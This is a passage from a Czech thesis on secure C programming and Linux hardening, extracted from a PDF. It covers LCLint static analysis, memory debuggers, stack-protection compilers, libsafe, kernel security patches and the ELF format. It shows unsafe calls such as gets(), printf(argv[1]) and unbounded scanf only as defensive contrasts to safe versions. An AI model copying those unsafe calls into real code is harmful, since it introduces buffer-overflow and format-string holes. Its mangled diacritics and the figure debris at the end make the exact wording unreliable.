Prˇ´ıklad 2 gets(buffer); fgets(buffer,SIZE,stdin); buffer[SIZE-1]=0;
2. Nikdy neumozˇnı´me uzˇivateli zadat forma´tovacı´ ˇreteˇzec. U forma´tovacı´ sekvence pro ˇreteˇzce omezujeme vhodneˇ jeho maxima´lnı´ de´lku. Prˇ´ıklad 1 printf(argv[1]); printf(”%s”,argv[1]);
Prˇ´ıklad 2 scanf(”%s”,&buffer); scanf(”%200s”,&buffer);
3. U funkcı´, ktere´ vnitrˇneˇ pouzˇ´ıvajı´ staticke´ pole, nesmı´me prˇekrocˇit jeho de´lku. Prˇ´ıkladem mu˚zˇe by´t funkce realpath(), ktere´ vnitrˇneˇ pouzˇ´ıva´ staticke´ pole o velikosti PATH MAX. Obdobneˇ v za´vislosti na implementaci jsou na tom funkce syslog(), getopt(), getopt long(), getpass().
9.2 Staticka´ kontrola zdrojove´ho textu Prvnı´m stupneˇm staticke´ kontroly zdrojove´ho textu jsou varova´nı´ kompila´toru gcc. Parametrem -Wall sdeˇlı´me kompila´toru, zˇe si prˇejeme by´t informova´ni o vsˇech nesrovnalostech. Kompila´tor dokonce jizˇ obsahuje i seznam neˇktery´ch nevhodny´ch funkcı´ a varuje prˇed jejich pouzˇ´ıva´nı´m. Da´le existuje mnozˇstvı´ specializovany´ch programu˚ na statickou detekci podezrˇely´ch mı´st ve zdrojovy´ch textech.
9.2.1 LCLint LCLint je velmi stary´ na´stroj pouzˇ´ıvany´ jizˇ na prvnı´ch UNIXech. Jeho vy´voj probı´ha´ dodnes. Mezi jeho za´kladnı´ dovednosti patrˇ´ı kontrola:
1. nepouzˇity´ch deklaracı´ 2. nekonzistence typu˚ operandu˚ 3. nedosazˇitelne´ho ko´du 4. vzniku nekonecˇne´ smycˇky 5. na´vratovy´ch hodnot
93
Podı´vejme se na uka´zkovou detekci chyb v programu podle obra´zku 9.1 pomocı´ LCLintu. /* lclint-vuln1.c */ #include stdlib.h
int main() int *p = malloc(5*sizeof(int)); *p = 1; free(p); return 0;
10
Obra´zek 9.1: Staticka´ detekce chyb programem LCLint $ lclint lclint-vuln1.c LCLint 2.4b — 18 Apr 98 lclint-vuln1.c: (in function main) lclint-vuln1.c:7:10: Dereference of possibly null pointer p: *p A possibly null pointer is dereferenced. Value is either the result of a function which may return null (in which case, code should check it is not null), or a global, parameter or structure field declared with the null qualifier. (-nullderef will suppress message) lclint-vuln1.c:6:18: Storage p may become null Finished LCLint checking — 1 code error found $
LCLint spra´vneˇ upozornil, zˇe jsme neprovedli kontrolu, zda se povedlo naalokovat pozˇadovanou pameˇt. V prˇ´ıpadeˇ neu´speˇchu funkce malloc() vracı´ ukazatel NULL, ktery´ bychom zkousˇeli dereferencovat. Dalsˇ´ı silnou stra´nkou LCLintu je mozˇnost kontroly, zda implemetance funkce odpovı´da´ jejı´ anotaci. Anotace specifikuje omezenı´ funkce a zapisuje se v podobeˇ komenta´ˇre. Tento trend je v soucˇasne´ dobeˇ popula´rnı´ a pouzˇ´ıva´ se i pro automatickou tvorbu dokumentace (program cxref 1 ). Kompletnı´ popis za´pisu anotacı´ je prˇ´ıstupny´ na stra´nce http://lclint.cs.virginia.edu/manual/html/appC.html. Uka´zka je na obra´zku 9.2. Anotacı´ jsme u funkce fce naznacˇili, zˇe smı´ dojı´t pouze ke zmeˇneˇ hodnoty parametru a. LCLint spra´vneˇ odhalil, zˇe vnitrˇnı´ chova´nı´ funkce neodpovı´da´ anotaci. LCLint je mozˇne´ zı´skat na stra´nce http://lclint.cs.virginia.edu/. Obdobnou funkcionalitu jako program LCLint majı´ projekty Flawfinder – http://www.dwheeler.com/flawfinder/ a RATS – http://www.securesoftware.com/auditing tools download.htm. Jejich zameˇˇrenı´ smeˇˇruje vı´ce k detekci nevhodny´ch funkcı´. Oba projekty pla´nujı´ v blı´zke´ dobeˇ sve´ spojenı´. 1
http://www.gedanken.demon.co.uk/cxref/index.html
94
/* lclint-vuln2.c */ void fce(int *a, int *b) *a=1, *b=2;
/*modifies *a*/
int main() int a=5,b=5; fce(&a,&b); return 0;
10
Obra´zek 9.2: Anotace funkce $ lclint lclint-vuln2.c LCLint 2.4b — 18 Apr 98 lclint-vuln2.c: (in function fce) lclint-vuln2.c:4:15: Undocumented modification of *b: *b = 2 An externally-visible object is modified by a function, but not listed in its modifies clause. (-mods will suppress message) lclint-vuln2.c:3:6: Function exported but not used outside lclint-vuln2: fce A declaration is exported, but not used outside this module. Declaration can use static qualifier. (-exportlocal will suppress message) lclint-vuln2.c:5:1: Definition of fce Finished LCLint checking — 2 code errors found $
9.3 Omezene´ prostrˇedı´ a dynamicka´ kontrola programu U cizı´ch i vlastnı´ch softwarovy´ch projektu˚ si nemu˚zˇeme vzˇdy by´t zcela jisti jejich bezchybny´m a bezpecˇny´m provozem. Je proto rozumne´ pouzˇ´ıvat prostrˇedky, ktere´ doka´zˇ´ı odhalit chyby prˇi beˇhu programu cˇi minimalizujı´ du˚sledky chyb. Zlaty´m pravidlem bezpecˇnosti je nepousˇteˇt zˇa´dne´ obsluzˇne´ procesy (www, ftp ...) s opra´vneˇnı´m superuzˇivatele root. Navı´c tyto procesy necha´me prˇistupovat pouze k omezene´ cˇa´sti souborove´ho syste´mu pomocı´ programu chroot2 . Neˇktere´ aplikace jako naprˇ. BIND 3 jizˇ sami, pomocı´ syste´move´ho vola´nı´ chroot, tuto ochranu obsahujı´. 2 3
http://www.linuxfocus.org/English/January2002/article225.shtml http://www.isc.org/products/BIND/
95
9.3.1 Dynamicka´ detekce chyb programu Dynamicka´ alokace pameˇti (heap management) je jednou z oblastı´, ktera´ je bohaty´ zdroj chyb, jezˇ je obtı´zˇne´ vystopovat. Za´pis za konec bloku alokovane´ pameˇti (a/nebo prˇed zacˇa´tek) povede k porusˇenı´ struktur, ktere´ se pouzˇ´ıvajı´ ke spra´veˇ volne´ a prˇideˇlene´ pameˇti na haldeˇ. Existujı´ na´stroje, ktere´ program zastavı´ v okamzˇiku porusˇenı´ pameˇti. Nejzna´meˇjsˇ´ım na´strojem je program od Bruce Perensna Electric Fences. Electric Fences nahradı´ funkce pro spra´vu dynamicke´ pameˇti vlastnı´mi verzemi, ktere´ umozˇnˇujı´ prˇi porusˇenı´ pameˇti program zastavit. Pouzˇitı´ Electric Fences spocˇ´ıva´ pouze v prˇida´nı´ knihovny do seznamu prˇilinkovany´ch knihoven. Electric Fences je mozˇne´ zı´skat na adrese http://perens.com/FreeSoftware/. $ gcc program.c -o program -lefence $ ./program Tristan Gingold vytvorˇil program Checker, ktery´ detekuje sˇirsˇ´ı pole proble´mu˚ nezˇ Electric Fences. Program doplnˇuje kompila´tor gcc. Vy´sledny´ ko´d je rozsˇ´ıˇreny´ o kontrolu pouzˇ´ıva´nı´ vsˇech ukazatelu˚. Checker je mozˇne´ zı´skat na adrese http://www.gnu.org/software/checker/checker.html. $ checkergcc program.c -o program $ ./program Dalsˇ´ım programem, ktery´ osˇetrˇuje spra´vu dynamicke´ho prˇideˇlova´nı´ pameˇti, je MemWatch od Johana Lindhe. Stejneˇ jako ostatnı´ na´stroje i tento prˇi detekci chyby program zastavı´. Jeho vy´hodou je prˇehledny´ statisticky´ vy´pis stavu dynamicky alokovany´ch oblastı´. MemWatch je mozˇne´ zı´skat na adrese http://www.gnu.org/directory/devel/Debugging/memwatch.html. Do programu prˇida´me hlavicˇkovy´ soubor #include memwatch.h $ gcc -DMEMWATCH program.c -o program $ ./program Poslednı´m na´strojem, o ktere´m se zmı´nı´me, je YAMD (Yet Another Malloc Debugger) od autora Nata Eldredge. Jeho schopnosti se kryjı´ s ostatnı´mi na´stroji. Vy´hodou je, zˇe neprˇida´va´ do vy´sledne´ho programu navı´c zˇa´dny´ ko´d. Spokojı´ se pouze s ladı´cı´mi informacemi, ktere´ generuje gcc. YAMD je mozˇne´ zı´skat na adrese http://www3.hmc.edu/ neldredge/yamd/. $ gcc program.c -g -o program $ run-yamd ./program
9.3.2 Modifikace kompila´toru Jednou z mozˇnostı´, jak pozmeˇnit stav pameˇt’ove´ho prostoru procesu oproti standardnı´ situaci, je modifikace kompila´toru. Touto cestou se vydaly projekty StackGuard a StackShield. 96
Funkce StackGuardu spocˇ´ıva´ ve vlozˇenı´ kontrolnı´ho soucˇtu prˇed na´vratove´ adresy na za´sobnı´ku. Jestlizˇe dojde ke zmeˇneˇ ulozˇene´ na´vratove´ adresy, pak prˇed jejı´m vybra´nı´m selzˇe test kontrolnı´ho soucˇtu a program je ukoncˇen. StackShield pouzˇ´ıva´ odlisˇnou metodu. Prolog funkce je pozmeˇneˇn tak, zˇe kopii na´vratove´ adresy ukla´da´ do oddeˇlene´ho za´sobnı´ku. Epilog funkce provede vy´beˇr adresy z oddeˇlene´ho za´sobnı´ku a funkce se ukoncˇ´ı. Oba projekty v minulosti obsahovaly mnozˇstvı´ chyb a jejich ochrana se dala snadno obejı´t 4 . Navı´c z globa´lnı´ho hlediska chra´nı´ pouze za´sobnı´k, a neprˇina´sˇ´ı tak zˇa´dnou skutecˇnou bezpecˇnost. StackGuard je mozˇne´ zı´skat na adrese http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/. StackShield je mozˇne´ zı´skat na stra´nce http://www.angelfire.com/sk/stackshield/. Pro u´plnost dodejme, zˇe existujı´ kompila´tory jazyka C s kontrolou mezı´ polı´. Jejich kvalita se bohuzˇel zdaleka neblizˇ´ı kompila´toru gcc, a proto nejsou pouzˇ´ıva´ny. Prˇ´ıkladem je kompila´tor Cyclone – http://www.research.att.com/projects/cyclone/.
9.3.3 Modifikace knihovnı´ch funkcı´ Kromeˇ kompila´toru je mozˇne´ modifikovat i knihovnı´ funkce. Nenı´ prˇ´ılisˇ prakticke´ vylepsˇovat imlementaci prˇ´ımo origina´lnı´ knihovny, protozˇe mohou by´t znacˇneˇ rozsa´hle´ a neprˇehledne´. Prˇehledneˇjsˇ´ı je udeˇlat si imlementace neˇktery´ch knihovnı´ch funkcı´ ve vlastnı´ knihovneˇ. Tuto knihovnu potom pomocı´ direktivy LD PRELOAD zavedeme do pameˇti. Prˇi vyhleda´va´nı´ dynamicky linkovany´ch funkcı´ z knihoven se vzˇdy pouzˇije funkce z knihovny, ktera´ byla zavedena nejdrˇ´ıve. Knihovny zavedene´ pomocı´ direktivy LD PRELOAD jsou zavedeny prˇed vsˇemi dynamicky´mi knihovnami, ktere´ program pouzˇ´ıva´. Na tomto principu pracuje knihovna libsafe. Tato knihovna v sobeˇ obsahuje bezpecˇneˇjsˇ´ı implementaci veˇtsˇiny zna´my´ch problematicky´ch funkcı´ ze standardnı´ knihovny jazyka C. Jejı´ pouzˇ´ıva´nı´ je jednoduche´ a nevyzˇaduje zˇa´dne´ prˇekompilova´nı´ programu˚. Pouze nastavı´me promeˇnnou LD PRELOAD nebo provedeme editaci souboru /etc/ld.so.preload. Knihovnu libsafe je mozˇne´ zı´skat na stra´nce http://www.gnu.org/directory/security/net/libsafe.html. $ export LD PRELOAD=libsafe.so.2 $ gcc program.c -o program $ ./program
9.3.4 Modifikace ja´dra Modifikacı´ standardnı´ho linuxove´ho ja´dra mu˚zˇeme dosa´hnout znacˇne´ zvy´sˇenı´ bezpecˇnosti. Beˇzˇnou praxı´ jsou za´platy vytva´ˇrejı´cı´ nespustitelny´ za´sobnı´k a haldu, osˇetrˇenı´ docˇasny´ch souboru˚ v adresa´ˇri /tmp cˇi vylepsˇenı´ virtua´lnı´ho souborove´ho syste´mu. Da´le se omezujı´ pravomoce superuzˇivatele a zava´deˇjı´ prˇ´ıstupove´ seznamy 5 pro povolenı´ urcˇity´ch operacı´. Cenou za tyto modifikace jsou cˇasto neocˇeka´vane´ komplikace. Za´sobnı´k musı´ by´t spusitelny´ naprˇ. kvu˚li syste´mu dorucˇova´nı´ signa´lu˚ pro4 5
http://www.phrack.com/show.php?p=56&a=5 ACL - Access Control List
97
cesu˚m. S modifikacemi virtua´lnı´ho souborove´ho syste´mu se sˇpatneˇ vyrovna´vajı´ programy spole´hajı´cı´ na urcˇite´ standardnı´ vlastnosti. Za´platy musı´ tyto proble´my cˇasto neelegantneˇ a komplikovaneˇ ˇresˇit. Zatı´m zˇa´dny´ z existujı´cı´ch projektu˚, ktere´ modifikujı´ ja´dro, nebyl natolik koncepcˇneˇ cˇisty´, aby mohl by´t zarˇazen do standardnı´ho ja´dra. Modifikace ja´dra pomocı´ teˇchto projektu˚ lze doporucˇit pouze odbornı´ku˚m, kterˇ´ı prostudujı´ zdrojovy´ ko´d za´platy a doka´zˇ´ı zhodnotit mı´ru zı´skany´ch vy´hod a nevy´hod. Jednou z nejveˇtsˇ´ıch nevy´hod jsou proble´my prˇi kombinaci vı´ce ru˚zny´ch za´plat na ja´dro. Mu˚zˇe se sta´t, zˇe za´platy se navza´jem ovlivnı´ a vznikne zcela nestabilnı´ cˇi nefunkcˇnı´ ja´dro. Dalsˇ´ı nevy´hodou by´va´ dostupnost za´plat pouze pro urcˇite´ verze ja´dra. Du˚vodem je rychly´ vy´voj linuxove´ho ja´dra. Zna´my´ch projektu˚, ktere´ zvysˇujı´ bezpecˇnost ja´dra je neˇkolik:
LIDS – http://www.lids.org/ Klı´cˇove´ vlastnosti: – Ochrana souboru˚. Zˇa´dny´ uzˇivatel vcˇetneˇ superuzˇivatele nemu˚zˇe modifikovat chra´neˇne´ soubory. Soubory mohou by´t zneviditelneˇny. – Ochrana procesu˚. Zˇa´dny´ uzˇivatel vcˇetneˇ superuzˇivatele nemu˚zˇe ukoncˇit chra´neˇne´ procesy. Procesy mohou by´t zneviditelneˇny. – Implementace prˇ´ıstupovy´ch seznamu˚ ACL (Access Control List) – Skener portu˚ – Na´stroje pro spra´vu vylepsˇeny´ch logovacı´ch schopnostı´ kernelu Medusa – http://medusa.fornax.sk/ Medusa je dı´lem slovenske´ autorske´ dvojice Marek Zelem a Milan Pikula. Medusa definuje prˇ´ıslusˇnosti objektu˚ do dome´n, ktere´ majı´ rozdı´lneˇ upravene´ virtua´lnı´ adresnı´ prostory. OpenWall – http://www.openwall.com/ Projekt OpenWall byl jednı´m z prvnı´ch projektu˚ zameˇˇreny´ch na zvy´sˇenı´ bezpecˇnosti ja´dra. Jeho pu˚vodnı´ cı´l byl nespustitelny´ za´sobnı´k. Dodnes smeˇˇruje veˇtsˇina pracı´ v projektu pra´veˇ pouze k tomuto cı´li. Navı´c implementuje urcˇite´ omezenı´ pro adresa´ˇre /tmp a /proc. PaX (PageExec)– http://pageexec.virtualave.net/ Projekt PaX implementuje nespustitelny´ za´sobnı´k a haldu. Novinkou, kterou vna´sˇ´ı do bezpecˇnosti ja´dra, je zmeˇna rozvrzˇenı´ vyuzˇ´ıva´nı´ virtua´lnı´ho adresnı´ho prostoru procesem. Metoda se nazy´va´ ASLR (Address Space Layout Randomization). RSBAC (Rule Set Based Access Control) – http://www.rsbac.org/ Za´kladem tohoto projektu je definova´nı´ pravidel a povolenı´ pro ru˚zne´ operace. Podporovany´ch druhu˚ seznamu˚ je celkem 11. Nama´tkou jmenujme alesponˇ neˇktere´: MAC (Mandatory Access Control), FC (Function Control), SIM (Security Information Modification) a ACL (Access Control List). SELinux (Security Enhanced Linux) – http://www.nsa.gov/selinux/ Tento projekt pocha´zı´ z dı´lny americke´ Na´rodnı´ bezpecˇnostnı´ agentury NSA. Jeho idea vycha´zı´ z omezenı´ pra´v uzˇivatele na nezbytneˇ nutne´ minimum pro jeho pra´ci. V podstateˇ se da´ ˇr´ıci, zˇe implementuje model MAC (Mandatory Access Control). Model MAC prˇirˇazuje vsˇem subjektu˚m
98
a objektu˚m bezpecˇnostnı´ atribut. Na za´kladeˇ porovna´nı´ atributu˚ dojde k povolenı´ resp. nepovolenı´ prˇ´ıstupu. Mezi vy´voja´ˇri linuxove´ho ja´dra nenı´ tomuto produktu veˇnova´na veˇtsˇ´ı pozornost. Du˚vodem jsou obavy z mozˇny´ch nezdokumentovany´ch zmeˇn, ktere´ mohla NSA prove´st. Na konferenci OpenWeekend 20026 porˇa´dane´ v prostora´ch Elektrotechnicke´ fakulty Cˇ VUT se setkali programa´torˇi trˇ´ı nejdokonalejsˇ´ıch projektu˚ – Amon Ott (RSBAC), Milan Pikula (Medusa) a Philippe Biondi (LIDS). Vsˇichni se shodli, zˇe zvy´sˇenı´ bezpecˇnosti standardnı´ho linuxove´ho ja´dra bude dlouhodoby´ proces. Du˚vodem je jeho velika´ rozsa´hlost a distribuovany´ vy´voj po cele´m sveˇteˇ. Prˇida´nı´ bezpecˇnostnı´ za´platy neˇktere´ho z jmenovany´ch projektu˚ by byla prˇ´ılisˇ dalekosa´hla´ zmeˇna. Vy´voj novy´ch vlastnostı´ ja´dra by se musel na delsˇ´ı dobu zastavit a spra´vci jednotlivy´ch cˇa´stı´ ja´dra by museli odladit a potvrdit spra´vnou funkci. Hlavnı´ spra´vce linuxove´ho ja´dra, pan Torvalds, je zasta´ncem postupne´ho vylepsˇova´nı´ a zvysˇova´nı´ bezpecˇnosti. Vsˇe dokla´dajı´ jeho vlastnı´ slova 7 : ”I’m only arguing against stupid people who think they need a revolution to improve - most real improvements are evolutionary.” Programa´torˇi take´ hovorˇili a vy´hoda´ch a nevy´hoda´ch jejich projektu˚. Za´veˇr vypada´ takto: Nejveˇtsˇ´ı vy´hodou projektu RSBAC je mnozˇstvı´ pravidel a omezenı´, ktere´ imlementuje. Za´rovenˇ to lze povazˇovat i za nejveˇtsˇ´ı nevy´hodu, protozˇe nastudova´nı´ a nastavenı´ pravidel mu˚zˇe trvat pomeˇrneˇ dlouho. Nejveˇtsˇ´ı vy´hodou projektu Medusa je jeho pru˚hledna´ implementace, ktera´ pouze minima´lneˇ modifikuje ja´dro. Nevy´hodou je, zˇe Medusa pouze vytva´ˇr´ı upravene´ adresnı´ prostory, do ktery´ch uzˇivatel musı´ sa´m doprogramovat bezpecˇnostnı´ modely, jako naprˇ. ACL. Nejveˇtsˇ´ı vy´hodou projektu LIDS je rozumna´ mı´ra mnozˇstvı´ prˇ´ıstupovy´ch pravidel a jejich vy´chozı´ nastavenı´ po instalaci. Tuto vlastnost uvı´tajı´ zejme´na lide´ s mensˇ´ı znalostı´ problematiky. Nevy´hodou je pomeˇrneˇ velky´ za´sah do ja´dra, ktery´ naprˇ. vede azˇ tak daleko, zˇe aktivace nove´ konfigurace LIDSu vyzˇaduje restart pocˇ´ıtacˇe. To je velmi neprˇijemna´ vlastnost pro nasazenı´ na serverech. V devadesa´ty´ch letech dvaca´te´ho stoletı´ se veˇtsˇina bezpecˇnostnı´ch za´plat na ja´dro ubı´rala cestou nespustitelne´ho za´sobnı´ku a haldy. Postupem cˇasu se zacˇala projevovat nechut’vy´voja´ˇru˚ slozˇiteˇ rˇesˇit nedostatky stra´nkova´nı´ na procesorech ˇrady x86. Nemozˇnost nastavit prˇ´ıznak sputitelnosti/nespustitelnosti u jednotlivy´ch stra´nek pameˇti je v tomto ohledu povazˇova´na za jeden z nejveˇtsˇ´ıch nedostatku˚ procesoru˚ ˇrady x86. Vy´voja´ˇri se pomalu zacˇali ubı´rat smeˇrem k inovacı´m, ktere´ jsou globa´lnı´ho charakteru bez ohledu na mikroprocesorovou architekturu. Kdyzˇ se kolem roku 2000 objevila technika returninto-lib (viz odstavec 7.3.4 na straneˇ 74), bylo zrˇejme´, zˇe nespustitelny´ za´sobnı´k cˇi halda neprˇina´sˇ´ı zˇa´dnou skutecˇnou vrstvu bezpecˇnosti. Bezpecˇnostnı´ za´platy od te´ doby smeˇˇrujı´ k omezova´nı´ povoleny´ch operacı´ pomocı´ prˇ´ıstupovy´ch seznamu˚. Dosˇlo k omezenı´ i pravomocı´ superuzˇivatele a zvy´sˇily se logovacı´ schopnosti ja´dra.
6 7
http://www.openweekend.cz http://kerneltrap.org/node.php?id=521&cid=1925
99
Na za´veˇr lze celkoveˇ ˇr´ıci, zˇe zpravidla nenı´ mozˇne´ kombinovat za´platy, ktere´ prova´deˇjı´ rozsa´hly´ za´sah do standardnı´ho ja´dra. Ty´ka´ se to prˇedevsˇ´ım modifikacı´ pro rea´lny´ cˇas 8 a kryptovane´ souborove´ syste´my9 . Oproti tomu za´plata vylepsˇujı´cı´ ovladacˇ sı´t’ove´ karty nebude pravdeˇpodobneˇ zpu˚sobovat komplikace. Po u´speˇsˇne´ aplikaci za´plat a kompilaci ja´dra je potrˇeba oveˇˇrit funkcˇnost uzˇivatelsky´ch aplikacı´. U serverovy´ch aplikacı´ jako apache, bind cˇi gated zpravidla neby´vajı´ komplikace. Autorˇi bezpecˇnostnı´ch za´plat prˇedpokla´dajı´ nasazenı´ prˇedevsˇ´ım na serverech, a proto sve´ za´platy oproti typicky´m aplikacı´m dostatecˇneˇ testujı´. Na pracovnı´ch stanicı´ch s netestovany´ch softwarem mu˚zˇe dojı´t k neprˇedvı´datelny´m proble´mu˚m, cˇi naopak, vsˇe mu˚zˇe fungovat spra´vneˇ. Protozˇe vy´sledne´ vlastnosti syste´mu se cˇasto vy´razneˇ lisˇ´ı v za´visloti na verzi ja´dra a verzi za´platy, nenı´ bohuzˇel mozˇne´ prove´st rozsa´hle´ testy se vsˇemi uzˇivatelsky´mi aplikacemi.
8 9
http://www.realtimelinuxfoundation.org/ http://www.kerneli.org/
100
Kapitola 10
Za´veˇr Diplomova´ pra´ce na´s detailneˇ provedla za´kulisı´m nejcˇasteˇjsˇ´ıch u´toku˚ na pocˇ´ıtacˇovy´ syste´m. Trˇebazˇe jsme se veˇnovali prˇedevsˇ´ım syste´mu GNU/Linux, veˇtsˇina zde uvedeny´ch informacı´ ma´ obecnou platnost. Stranou zu˚staly pouze moduly vkla´dane´ do linuxove´ho ja´dra (LKM - Loadable Kernel Modules), s jejichzˇ pomocı´ lze prove´st prˇesmeˇrova´nı´ syste´movy´ch vola´nı´ ja´dra. Popis teˇchto metod by vydal na publikaci nejme´neˇ stejneˇ obsa´hlou, jako je tato diplomova´ pra´ce. Navı´c LKM jsou za´visle´ na verzi ja´dra. Zjistili jsme, zˇe mnoho proble´mu˚ s bezpecˇnostı´ majı´ na sveˇdomı´ nedostatky mikroprocesorove´ architektury x86 a samotny´ jazyk C. Nenı´ pravdeˇpodobne´, zˇe bychom se v blı´zke´ budoucnosti v tomto smeˇru mohli docˇkat vy´razneˇjsˇ´ıch zmeˇn. Ovla´dnutı´ trhu osobnı´ch pocˇ´ıtacˇu˚ PC s procesory ˇrady x86 je zrˇejme´. A nova´ mikroprocesorova´ architektura IA-64 firmy Intel nedosahuje zatı´m ocˇeka´vane´ho rozkveˇtu. O pozna´nı´ le´pe je vnı´ma´n krok konkurencˇnı´ho vy´robce kompatibilnı´ch procesoru˚ firmy AMD. Jejı´ nova´ 64-bitova´ architektura (Opteron) je s mikroprocesory x86 zpeˇtneˇ kompatibilnı´ a oznacˇuje se jako x86-64. Jazyk C prˇi vy´voji operacˇnı´ch syste´mu˚ take´ velmi pravdeˇpodobneˇ nebude v brzke´ dobeˇ nahrazen. Prˇepsa´nı´ do moderneˇjsˇ´ıch objektovy´ch programovacı´ch jazyku˚ by bylo velmi na´kladne´. Ota´zkou take´ zu˚sta´va´, jaky´ jazyk zvolit a jaky´ dopad by tato volba meˇla na rychlost operacˇnı´ho syste´mu. Jina´ situace je u programova´nı´ uzˇivatelsky´ch aplikacı´. Potrˇeba vytva´ˇret aplikace v kratsˇ´ım cˇase vede vy´voja´ˇre k jazyku˚m jako Java, C#, cˇi SmallTalk. Veˇtsˇinou se jedna´ o objektove´ jazyky interpretovane´ na virtua´lnı´ch strojı´ch. Intepretace prˇina´sˇ´ı nesporne´ vy´hody, jako naprˇ. platformnı´ neza´vislost a pokrocˇile´ metody automaticke´ho uvolnˇova´nı´ pameˇti. Take´ nemozˇnost prˇ´ıme´ho prˇ´ıstupu do pameˇti vy´razneˇ zvysˇuje bezpecˇnost. Nevy´hodou je nizˇsˇ´ı rychlost v porovna´nı´ s programy napsany´mi v jazyce C. Cˇasty´m argumentem zasta´ncu˚ interpretovany´ch jazyku˚ by´va´, zˇe se jedna´ o nevy´hodu pouze docˇasnou, nebot’ proble´m vyrˇesˇ´ı rychlejsˇ´ı hardware. Tvrzenı´ o docˇasnosti te´to nevy´hody je vsˇak poneˇkud v rozporu s dlouholety´m pozorova´nı´m, z neˇhozˇ vyply´va´, zˇe soucˇasne´ softwarove´ projekty vzˇdy pocˇ´ıtajı´ s hardwarem budoucnosti. Nenı´ vyloucˇeno, zˇe se take´ objevı´ metody u´niku˚ z virtua´lnı´ch stroju˚. Touto cestou pu˚jde zı´skat prˇ´ımy´ prˇ´ıstup do pameˇti, ktery´ je za´kladnı´m krokem na cesteˇ k ovla´dnutı´ operacˇnı´ho syste´mu. Prvnı´
101
vlasˇtovkou ve vy´zkumu mozˇnostı´ u´niku z virtua´lnı´ch stroju˚, mu˚zˇe by´t letosˇnı´ setka´nı´ slovenske´ skupiny Hysteria. Jednı´m z uvazˇovany´ch te´mat souteˇzˇe pro u´cˇastnı´ky setka´nı´ by meˇl by´t u´nik z prostrˇedı´ programu VMware. V dobeˇ, kdy tato pra´ce vznikala, nebyly dostupne´ zˇa´dne´ blizˇsˇ´ı informace. Nejveˇtsˇ´ım krokem, ktery´ mu˚zˇeme ke zvy´sˇenı´ pocˇ´ıtacˇove´ bezpecˇnosti udeˇlat jizˇ nynı´, je otevrˇenost software. Na pozadı´ u´toku˚ nenı´ nic jine´ho nezˇ chyby v programove´m vybavenı´ pocˇ´ıtacˇu˚. Chyby, o ktery´ch je potrˇeba hovorˇit a napravovat je. Na sveˇteˇ existuje v soucˇasne´ dobeˇ neˇkolik desı´tek skupin expertu˚, ktere´ se veˇnujı´ analy´ze bezpecˇnosti programu˚ a operacˇnı´ch syste´mu˚. Postup prˇi nalezenı´ chyby by´va´ vzˇdy stejny´. Upozorneˇnı´ autoru˚ s ultimativnı´ zˇa´dostı´ o opravu. Po uplynutı´ neˇkolika ty´dnu˚, ktere´ autorˇi dostali na odstraneˇnı´ chyby, na´sleduje jejı´ zverˇejneˇnı´ pro odbornou veˇˇrejnost. Bohuzˇel, skutecˇnost mu˚zˇe vypadat tak, zˇe firmy odmı´tajı´ da´t programa´toru˚m cˇas k opraveˇ chyb, protozˇe prˇida´nı´ novy´ch funkcı´ a rychle´ doda´nı´ nove´ verze produktu na trh je prˇedneˇjsˇ´ı. Cˇ asto se take´ stane, zˇe neˇkterˇ´ı nezodpoveˇdnı´ spra´vci pocˇ´ıtacˇovy´ch syste´mu˚ neprovedou aktualizaci oprav. Vsˇe ma´ pak rychly´ spa´d. Zvı´dava´ mla´dezˇ cˇte na Internetu odborne´ cˇla´nky o chyba´ch v programech a zkousˇ´ı, zda stare´ triky jesˇteˇ fungujı´. K jejich prˇekvapenı´ cˇasto ano. Postizˇene´ firmy vykazujı´ rekordnı´ ztra´ty, me´dia hovorˇ´ı o genia´lnı´ch hackerech, vla´da reaguje prosazenı´m za´kona o nelega´lnosti odborny´ch publikacı´ o chyba´ch v programech. Tato situace nastala v USA, kde v roce 2000 vstupuje v platnost za´kon DMCA (Digital Millenium Copyright Act). Chyby v programech nezmizely, je jen nelega´lnı´ o nich informovat. Zda stejnou cestu zvolı´ i stary´ kontinent, uka´zˇe cˇas.
102
Prˇ´ıloha A
ELF forma´t a jeho zavedenı´ do pameˇti Spustitelny´ bina´rnı´ forma´t ELF (Executable and Linking Format) je standarizovany´ typ spustitelny´ch souboru˚ pro UNIXove´ platformy. Jeho spra´vou je poveˇˇrena komise TIS, (Tool Interface Standard) a aktua´lnı´ verze je 1.2, viz [4]. Specifikace urcˇuje povinnou, cˇa´stecˇneˇ hierarchickou, strukturu souboru. ELF forma´t definuje 3 za´kladnı´ typy souboru˚:
Relokovatelny´ soubor – Obsahuje ko´d a data ve tvaru vhodne´m pro sestavenı´ (pomocı´ programu, ktery´ anglicky oznacˇujeme termı´nem linker) spustitelny´ch nebo sdı´leny´ch souboru˚. Prˇ´ıklad zı´ska´nı´ relokovatelne´ho souboru: gcc -c program.c -o program.o. Spustitelny´ soubor – Obsahuje ko´d a data ve tvaru vhodne´m pro prˇ´ıme´ zavedenı´ do pameˇti a spusˇteˇnı´ (pomocı´ programu, ktery´ anglicky oznacˇujeme termı´nem loader). Prˇ´ıklad zı´ska´nı´ spustitelne´ho souboru: gcc program.c -o program. Sdı´leny´ soubor – Obsahuje ko´d a data ve tvaru vhodne´m pro sestavenı´ s jiny´mi sdı´leny´mi soubory cˇi relokovatelny´mi soubory za u´cˇelem vytvorˇenı´ novy´ch sdı´leny´ch nebo spustitelny´ch souboru˚. Prˇ´ıklad zı´ska´nı´ sdı´lene´ho souboru: gcc -fPIC -shared libx.c -o libx.so.
Sestavovacı´ program, ktery´ da´le budeme oznacˇovat jako linker, na soubor hledı´ jako na soustavu sekcı´. Z jednotlivy´ch sekcı´ zı´ska´va´ informace nutne´ pro sestavenı´ sdı´leny´ch nebo spustitelny´ch souboru˚. Rozdı´lny´ pohled pouzˇ´ıva´ zavadeˇcˇ. Jeho u´kolem je co nejrychlejsˇ´ı zavedenı´ segmentu˚ (skupin sekcı´) programu do pameˇti a prˇeda´nı´ ˇr´ızenı´ do textove´ho segmentu. ELF hlavicˇka popisuje typ souboru a organizaci jednotlivy´ch cˇa´stı´ forma´tu. U spustitelny´ch souboru˚ musı´ by´t prˇ´ıtomna tabulka hlavicˇek segmentu˚, ktere´ urcˇujı´ jak majı´ by´t segmenty zavedeny do pameˇti. Segmenty se mohou navza´jem prˇekry´vat. Relokovatelne´ a sdı´lene´ soubory musı´ obsahovat tabulku hlavicˇek sekcı´ s informacemi pro linker.
i
Pohled linkeru
- - *+ #0 1! !#
/
(- / $
- - *+#%1!" !"#
(nepovinná) Sekce 1
Segment 1 Segment 2
n Sekce -
sekcí
-
sekcí (nepovinná)
